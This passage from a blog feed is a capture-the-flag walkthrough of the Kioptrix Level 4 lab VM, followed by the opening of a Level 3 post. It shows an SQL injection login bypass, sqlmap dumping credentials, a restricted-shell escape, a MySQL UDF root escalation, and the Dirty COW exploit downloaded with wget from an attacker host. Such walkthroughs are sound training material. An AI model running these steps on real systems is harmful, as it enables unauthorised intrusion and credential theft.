&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4jdRZcbIlb5pSnfro3j0lXVjhqtKYEMIftfx_cRFisKlSCd2hIiqkiboFGvQSfRilVDwPmIA00EdEEquu6EuX88vW34MYhMIn3YRxK234ICXGps-2nciKjWRIVtSqyOfu3_OLnEB33zI/s1600/sc3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;336&quot; data-original-width=&quot;483&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4jdRZcbIlb5pSnfro3j0lXVjhqtKYEMIftfx_cRFisKlSCd2hIiqkiboFGvQSfRilVDwPmIA00EdEEquu6EuX88vW34MYhMIn3YRxK234ICXGps-2nciKjWRIVtSqyOfu3_OLnEB33zI/s1600/sc3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The above creds does not work on Member Login page&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;SQL Vulnerability :&lt;/span&gt;&lt;/b&gt; By fuzzing inputs of Member Login page, we find that there is an SQL vulnerability on login password field, payload &quot;Name:`john` and password:`&#39; or 1=&#39;1 --+`&amp;nbsp; user logged in and auth john/MyNameIsJohn is showed.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxIeb9X-MZzaCYxtyOQTAsNMy2dIJZFXPWNJFh_-Awxc4CmILo5FbPQgP-4Iy6lFtijb85kc2CMnkjj7S8GzuOqf0vhzuZgmQuXsgFxIcrBrFOSG62fWFituKtcI00L5_222UMAned1Uk/s1600/sc4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;241&quot; data-original-width=&quot;542&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxIeb9X-MZzaCYxtyOQTAsNMy2dIJZFXPWNJFh_-Awxc4CmILo5FbPQgP-4Iy6lFtijb85kc2CMnkjj7S8GzuOqf0vhzuZgmQuXsgFxIcrBrFOSG62fWFituKtcI00L5_222UMAned1Uk/s1600/sc4.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;Using sqlmap to dump all the data from database :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ sqlmap -u &quot;http://192.168.1.15/checklogin.php&quot; --data=&quot;myusername=john&amp;amp;mypassword=12345&amp;amp;submit&quot;
 
 
 $ sqlmap -u &quot;http://192.168.1.15/checklogin.php&quot; --data=&quot;myusername=john&amp;amp;mypassword=12345&amp;amp;submit=Login&quot; --dbs
 
 sqlmap got a 302 redirect to &#39;http://192.168.1.15:80/login_success.php?username=john&#39;. Do you want to follow? [Y/n] y
 redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
 [*] information_schema
 [*] members
 [*] mysql
 
 $ sqlmap -u &quot;http://192.168.1.15/checklogin.php&quot; --data=&quot;myusername=john&amp;amp;mypassword=12345&amp;amp;submit=Login&quot; --tables -D members
 sqlmap got a 302 redirect to &#39;http://192.168.1.15:80/login_success.php?username=john&#39;. Do you want to follow? [Y/n] y
 redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
 Database: members
 [1 table]
 +---------+                                                                                             
 | members |
 +---------+
 
 $ sqlmap -u &quot;http://192.168.1.15/checklogin.php&quot; --data=&quot;myusername=john&amp;amp;mypassword=12345&amp;amp;submit=Login&quot; --columns -D members -T members
 sqlmap got a 302 redirect to &#39;http://192.168.1.15:80/login_success.php?username=john&#39;. Do you want to follow? [Y/n] y
 redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
 Database: members
 Table: members
 [3 columns]
 +----------+-------------+                                                                              
 | Column   | Type        |
 +----------+-------------+                                                                              
 | id       | int(4)      |
 | password | varchar(65) |
 | username | varchar(65) |
 +----------+-------------+
 
 
 $ sqlmap -u &quot;http://192.168.1.15/checklogin.php&quot; --data=&quot;myusername=john&amp;amp;mypassword=12345&amp;amp;submit=Login&quot; --dump -D members -T members
 sqlmap got a 302 redirect to &#39;http://192.168.1.15:80/login_success.php?username=john&#39;. Do you want to follow? [Y/n] y
 redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
 [16:12:12] [INFO] retrieved: 1
 [16:12:13] [INFO] retrieved: MyNameIsJohn
 [16:12:25] [INFO] retrieved: john
 [16:12:29] [INFO] retrieved: 2
 [16:12:30] [INFO] retrieved: ADGAdsafdfwt4gadfga==
 [16:12:48] [INFO] retrieved: robert
 Database: members
 Table: members
 [2 entries]
 +----+----------+-----------------------+
 | id | username | password              |
 +----+----------+-----------------------+
 | 1  | john     | MyNameIsJohn          |
 | 2  | robert   | ADGAdsafdfwt4gadfga== |
 +----+----------+-----------------------+
&lt;/code&gt;&lt;/pre&gt;
The creds are :&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;john: MyNameIsJohn&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;robert:ADGAdsafdfwt4gadfga==&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
With the above creds we can get access to the ssh server, which gives us a restricted shell.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ ssh john@192.168.1.15
 john@192.168.1.15&#39;s password:
 Welcome to LigGoat Security Systems - We are Watching
 == Welcome LigGoat Employee ==
 LigGoat Shell is in place so you  don&#39;t screw up
 Type &#39;?&#39; or &#39;help&#39; to get the list of allowed commands
 john:~$
 john:~$ help
 cd  clear  echo  exit  help  ll  lpath  ls
 
&lt;/code&gt;&lt;/pre&gt;
In this shell we can run limited amount of commands, otherwise it gives error messages&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; john:~$ ls -al
 total 28
 drwxr-xr-x 2 john john 4096 2012-02-04 18:39 .
 drwxr-xr-x 5 root root 4096 2012-02-04 18:05 ..
 -rw------- 1 john john 1133 2020-04-21 01:08 .bash_history
 -rw-r--r-- 1 john john  220 2012-02-04 18:04 .bash_logout
 -rw-r--r-- 1 john john 2940 2012-02-04 18:04 .bashrc
 -rw-r--r-- 1 john john 3105 2020-04-21 01:08 .lhistory
 -rw-r--r-- 1 john john  586 2012-02-04 18:04 .profile
 john:~$ pwd
 *** unknown command: pwd
 ohn:~$ cat /etc/passwd
 *** unknown command: cat
&lt;/code&gt;&lt;/pre&gt;
And if we violate the rules then it kicks us out of shell&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; john:~$ cd ..
 *** forbidden path -&amp;gt; &quot;/home/&quot;
 *** You have 0 warning(s) left, before getting kicked out.
 This incident has been reported.
 john:~$ cd ..
 *** forbidden path -&amp;gt; &quot;/home/&quot;
 *** Kicked out
 Connection to 192.168.1.15 closed.
&lt;/code&gt;&lt;/pre&gt;
You can read more about restricted shell here : &lt;a href=&quot;https://www.ibm.com/support/pages/how-use-restricted-shell&quot;&gt;https://www.ibm.com/support/pages/how-use-restricted-shell&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Breaking out Restricted Shells :&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
I tried all methods from these listed posts, but nothing works in this case.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf&quot;&gt;https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/&quot;&gt;https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.metahackers.pro/breakout-of-restricted-shell/&quot;&gt;https://www.metahackers.pro/breakout-of-restricted-shell/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/&quot;&gt;https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
But when giving random inputs i get the error for input `echo $)`&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; john:~$ echo $)
 /bin/sh: Syntax error: &quot;)&quot; unexpected
 Traceback (most recent call last):
   File &quot;/bin/kshell&quot;, line 27, in &amp;lt;module&amp;gt;
     lshell.main()
   File &quot;/usr/lib/python2.5/site-packages/lshell.py&quot;, line 1219, in main
     cli.cmdloop()
   File &quot;/usr/lib/python2.5/site-packages/lshell.py&quot;, line 410, in cmdloop
     stop = self.onecmd(line)
   File &quot;/usr/lib/python2.5/site-packages/lshell.py&quot;, line 531, in onecmd
     func = getattr(self, &#39;do_&#39; + cmd)
   File &quot;/usr/lib/python2.5/site-packages/lshell.py&quot;, line 134, in __getattr__
     if self.check_path(self.g_line) == 1:
   File &quot;/usr/lib/python2.5/site-packages/lshell.py&quot;, line 327, in check_path
     item = cout.readlines()[0].split(&#39; &#39;)[0].strip()
 IndexError: list index out of range
 Connection to 192.168.1.15 closed.
&lt;/code&gt;&lt;/pre&gt;
which looks like python error message, and its possible that the above shell is a python script or running within python interpreter, and if this is the case then lets try to run a shell inside it&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; john:~$ os.system(&quot;/bin/sh&quot;)
 *** unknown command: os.system(&quot;/bin/sh&quot;)
 john:~$
&lt;/code&gt;&lt;/pre&gt;
It shows error, but by placing any supported command it gives an unrestricted shell&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; john:~$ ls os.system(&quot;/bin/bash&quot;)
 bash-3.2$
 bash-3.2$ pwd
 /home/john
 bash-3.2$
&lt;/code&gt;&lt;/pre&gt;
Now try to get a root shell&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; bash-3.2$ whoami
 john
 bash-3.2$ sudo su
 [sudo] password for john:
 john is not in the sudoers file.  This incident will be reported.
 bash-3.2$
&lt;/code&gt;&lt;/pre&gt;
But john is not on the sudoers list.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;Privilege Escalation :&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Enumerating the system :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Enumerating the Operating system and kernel version :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; bash-3.2$ cat /etc/issue
 Welcome to LigGoat Security Server
 
 bash-3.2$ cat /etc/lsb-release
 DISTRIB_ID=Ubuntu
 DISTRIB_RELEASE=8.04
 DISTRIB_CODENAME=hardy
 DISTRIB_DESCRIPTION=&quot;Ubuntu 8.04.3 LTS&quot;
 
 bash-3.2$ uname -a
 Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
&lt;/code&gt;&lt;/pre&gt;
Enumerating linux files for SUID, GUID permission bits :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; // sticky bit permissions
 $ find / -perm -1000 -type d 2&amp;gt;/dev/null
 /var/spool/samba
 /var/spool/cron/atjobs
 /var/spool/cron/atspool
 /var/spool/cron/crontabs
 /var/lib/php5
 /var/lib/samba/usershares
 /var/tmp
 /var/lock
 /dev/shm
 /tmp
 
 // GUID permission
 $ find / -perm -g=s -type f 2&amp;gt;/dev/null
 /usr/bin/wall
 /usr/bin/expiry
 /usr/bin/crontab
 /usr/bin/bsd-write
 /usr/bin/mlocate
 /usr/bin/at
 /usr/bin/chage
 /usr/bin/ssh-agent
 /usr/sbin/uuidd
 /sbin/unix_chkpwd
 
 // SUID permission
 /usr/lib/apache2/suexec
 /usr/lib/eject/dmcrypt-get-device
 /usr/lib/openssh/ssh-keysign
 /usr/lib/pt_chown
 /usr/bin/chsh
 /usr/bin/sudo
 /usr/bin/traceroute6.iputils
 /usr/bin/newgrp
 /usr/bin/sudoedit
 /usr/bin/chfn
 /usr/bin/arping
 /usr/bin/gpasswd
 /usr/bin/mtr
 /usr/bin/passwd
 /usr/bin/at
 /usr/sbin/pppd
 /usr/sbin/uuidd
 /lib/dhcp3-client/call-dhclient-script
 /bin/mount
 /bin/ping6
 /bin/fusermount
 /bin/su
 /bin/ping
 /bin/umount
 /bin/bash
 /sbin/umount.cifs
 /sbin/mount.cifs
&lt;/code&gt;&lt;/pre&gt;
There is nothing interesting file found here, if binaries like sudoers, vim, nmap is listed here then we can use them to escalate privilege.&lt;br /&gt;
&lt;br /&gt;
Search for application and services with root privilege :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; bash-3.2$ ps aux | grep root
 
 root      4623  0.0  0.0   1716   488 tty5     Ss+  14:20   0:00 /sbin/getty 38400 tty5
 root      4627  0.0  0.0   1716   488 tty2     Ss+  14:20   0:00 /sbin/getty 38400 tty2
 root      4629  0.0  0.0   1716   484 tty3     Ss+  14:20   0:00 /sbin/getty 38400 tty3
 root      4632  0.0  0.0   1716   488 tty6     Ss+  14:20   0:00 /sbin/getty 38400 tty6
 root      4690  0.0  0.0   1872   544 ?        S    14:20   0:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/km
 root      4711  0.0  0.0   5316   984 ?        Ss   14:20   0:00 /usr/sbin/sshd
 root      4767  0.0  0.0   1772   524 ?        S    14:20   0:00 /bin/sh /usr/bin/mysqld_safe
 root      4809  0.0  1.5 126988 16232 ?        Sl   14:20   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/
 root      4811  0.0  0.0   1700   556 ?        S    14:20   0:00 logger -p daemon.err -t mysqld_safe -i -t mysql
 root      4884  0.0  0.1   6528  1328 ?        Ss   14:20   0:00 /usr/sbin/nmbd -D
&lt;/code&gt;&lt;/pre&gt;
As we can see the mysqld is running within root privilege, and by enumerating web root directory we can get the creds for login to mysql&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; bash-3.2$ cd /var/www
 bash-3.2$ ls
 checklogin.php5database.sql  images  index.php  john  login_success.php  logout.php  member.php  robert
 bash-3.2$ cat checklogin.php | head -n15
 &amp;lt;?php
 ob_start();
 $host=&quot;localhost&quot;; // Host name
 $username=&quot;root&quot;; // Mysql username
 $password=&quot;&quot;; // Mysql password
 $db_name=&quot;members&quot;; // Database name
 $tbl_name=&quot;members&quot;; // Table name
 
 // Connect to server and select databse.
 mysql_connect(&quot;$host&quot;, &quot;$username&quot;, &quot;$password&quot;)or die(&quot;cannot connect&quot;);
 mysql_select_db(&quot;$db_name&quot;)or die(&quot;cannot select DB&quot;);
 
 // Define $myusername and $mypassword
 $myusername=$_POST[&#39;myusername&#39;];
 $mypassword=$_POST[&#39;mypassword&#39;];
 bash-3.2$
&lt;/code&gt;&lt;/pre&gt;
As we can see the username is `root` and password is blank, now try this to login to mysql&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; bash-3.2$ mysql -u root -p
 Enter password:
 Welcome to the MySQL monitor.  Commands end with ; or \g.
 Your MySQL connection id is 7
 Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
 
 Type &#39;help;&#39; or &#39;\h&#39; for help. Type &#39;\c&#39; to clear the buffer.
 
 mysql&amp;gt; show databases;
 +--------------------+
 | Database           |
 +--------------------+
 | information_schema |
 | members            |
 | mysql              |
 +--------------------+
 3 rows in set (0.00 sec)
 
 mysql&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Method 1 :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The mysql deamon can running with root privilege can be used to get a root shell&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; mysql&amp;gt; use mysql;
 mysql&amp;gt; create function sys_exec returns integer soname &#39;lib_mysqludf_sys.so&#39;;
 mysql&amp;gt; select sys_exec(&#39;chmod u+s /bin/bash&#39;);
 mysql&amp;gt; quit
&lt;/code&gt;&lt;/pre&gt;
Now on shell&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; bash-3.2$ ls -al /bin/bash
 -rwsr-xr-x 1 root root 702160 2008-05-12 14:33 /bin/bash
 bash-3.2$ bash -p
 bash-3.2# whoami
 root
 cd /root
 bash-3.2# ls
 congrats.txt  lshell-0.9.12
 bash-3.2# cat congrats.txt
 Congratulations!
 You&#39;ve got root.
 
 There is more then one way to get root on this system. Try and find them.
 I&#39;ve only tested two (2) methods, but it doesn&#39;t mean there aren&#39;t more.
 As always there&#39;s an easy way, and a not so easy way to pop this box.
 Look for other methods to get root privileges other than running an exploit.
 
 It took a while to make this. For one it&#39;s not as easy as it may look, and
 also work and family life are my priorities. Hobbies are low on my list.
 Really hope you enjoyed this one.
 
 If you haven&#39;t already, check out the other VMs available on:
 www.kioptrix.com
 
 Thanks for playing,
 loneferret
&lt;/code&gt;&lt;/pre&gt;
More more detailed explanation about the above method visit the link : &lt;a href=&quot;https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux&quot;&gt;https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Method 2 :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The kernel version is 2.6.24, so we can use the kernel exploit (dirty cow vulnerability) to escalate privilege.&lt;br /&gt;
&lt;br /&gt;
Exploit link :&amp;nbsp; &lt;a href=&quot;https://www.exploit-db.com/exploits/40839&quot;&gt;https://www.exploit-db.com/exploits/40839&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The above exploit creates a new user &#39;firefart&#39; with root privilege. Also note that the kioptrix1.4 VM does not have gcc compiler, so compole the binary within 32bit architecture, downlaod it on the vm then execute it. Compilation of binary :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ gcc -pthread exploit.c -o exploit -lcrypt
&lt;/code&gt;&lt;/pre&gt;
Now download it into vm and run it.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; bash-3.2$ cd /tmp
 bash-3.2$ wget http://192.168.1.8:8000/dirty_cow
 bash-3.2$ ./dirty_cow
 /etc/passwd successfully backed up to /tmp/passwd.bak
 Please enter the new password:
 Complete line:
 firefart:fi3LLch28IK7A:0:0:pwned:/root:/bin/bash
 
 mmap: b7f0e000
 madvise 0
 
 ptrace 0
 Done! Check /etc/passwd to see if the new user was created.
 You can log in with the username &#39;firefart&#39; and the password &#39;12345&#39;.
 
 
 DON&#39;T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
 Done! Check /etc/passwd to see if the new user was created.
 You can log in with the username &#39;firefart&#39; and the password &#39;12345&#39;.
 
 
 DON&#39;T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
The exploit will asks to setup the password for new user, Now try to get root shell&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; bash-3.2$ su firefart
 Password:
 Failed to add entry for user firefart.
 
 firefart@Kioptrix4:/home/john# whoami
 firefart
 firefart@Kioptrix4:/home/john# cd /root
 firefart@Kioptrix4:~# ls
 congrats.txt  lshell-0.9.12
 firefart@Kioptrix4:~# cat congrats.txt
 Congratulations!
 You&#39;ve got root.
 
 There is more then one way to get root on this system. Try and find them.
 I&#39;ve only tested two (2) methods, but it doesn&#39;t mean there aren&#39;t more.
 As always there&#39;s an easy way, and a not so easy way to pop this box.
 Look for other methods to get root privileges other than running an exploit.
 
 It took a while to make this. For one it&#39;s not as easy as it may look, and
 also work and family life are my priorities. Hobbies are low on my list.
 Really hope you enjoyed this one.
 
 If you haven&#39;t already, check out the other VMs available on:
 www.kioptrix.com
 
 Thanks for playing,
 loneferret
 
 firefart@Kioptrix4:~#
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;Some Usefull privilege escalation techniques :&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&quot;&gt;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://payatu.com/guide-linux-privilege-escalation&quot;&gt;https://payatu.com/guide-linux-privilege-escalation&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://gtfobins.github.io/&quot;&gt;https://gtfobins.github.io/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.prodefence.org/beroot-for-linux-privilege-escalation-project/&quot;&gt;https://www.prodefence.org/beroot-for-linux-privilege-escalation-project/ &lt;/a&gt;&lt;a href=&quot;https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/&quot;&gt;https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md&quot;&gt;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md&lt;/a&gt;&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/06/kioptrix-level-13-4-ctf-vm-walkthrough.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVQXLFHnM2p5mCp706Pe0LjLYvhX8ojQNEhaR8WD0kNcJ1wB8EZAKT4ABrlnC9cGr3LIvlaX10qBzx2pqPy0IJSIZbYaLtWVJcgIwa8WQ-tpNnUb7bNvr4Q_iefEq-Vdnr57272QUeUik/s72-c/scX.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-5777162082539125903</guid><pubDate>Wed, 10 Jun 2020 18:58:00 +0000</pubDate><atom:updated>2020-06-10T13:52:57.868-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">CTF</category><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">kali-linux</category><category domain="http://www.blogger.com/atom/ns#">kioptrix</category><category domain="http://www.blogger.com/atom/ns#">Metasploit-framework</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">VulnHub</category><title> Kioptrix: Level 1.2 (#3) CTF VM WalkThrough</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
VM :&amp;nbsp;&amp;nbsp;Kioptrix: Level 1.2 (#3)&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgOv8osxEkMmymd1nVQwjLw22x5jNkhIcNF3g-va9O2LpfOKfeVrhZpED3PXdFwpidx78YrkYp9sXlKJJluHRJSLT4U-AFr2VUM0ccnkrglCh2KbZ4aVp3R2NpNk9z_hjHKR81qD1K-gc/s1600/sc.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;242&quot; data-original-width=&quot;414&quot; height=&quot;187&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgOv8osxEkMmymd1nVQwjLw22x5jNkhIcNF3g-va9O2LpfOKfeVrhZpED3PXdFwpidx78YrkYp9sXlKJJluHRJSLT4U-AFr2VUM0ccnkrglCh2KbZ4aVp3R2NpNk9z_hjHKR81qD1K-gc/s320/sc.png&quot; style=&quot;display: none;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
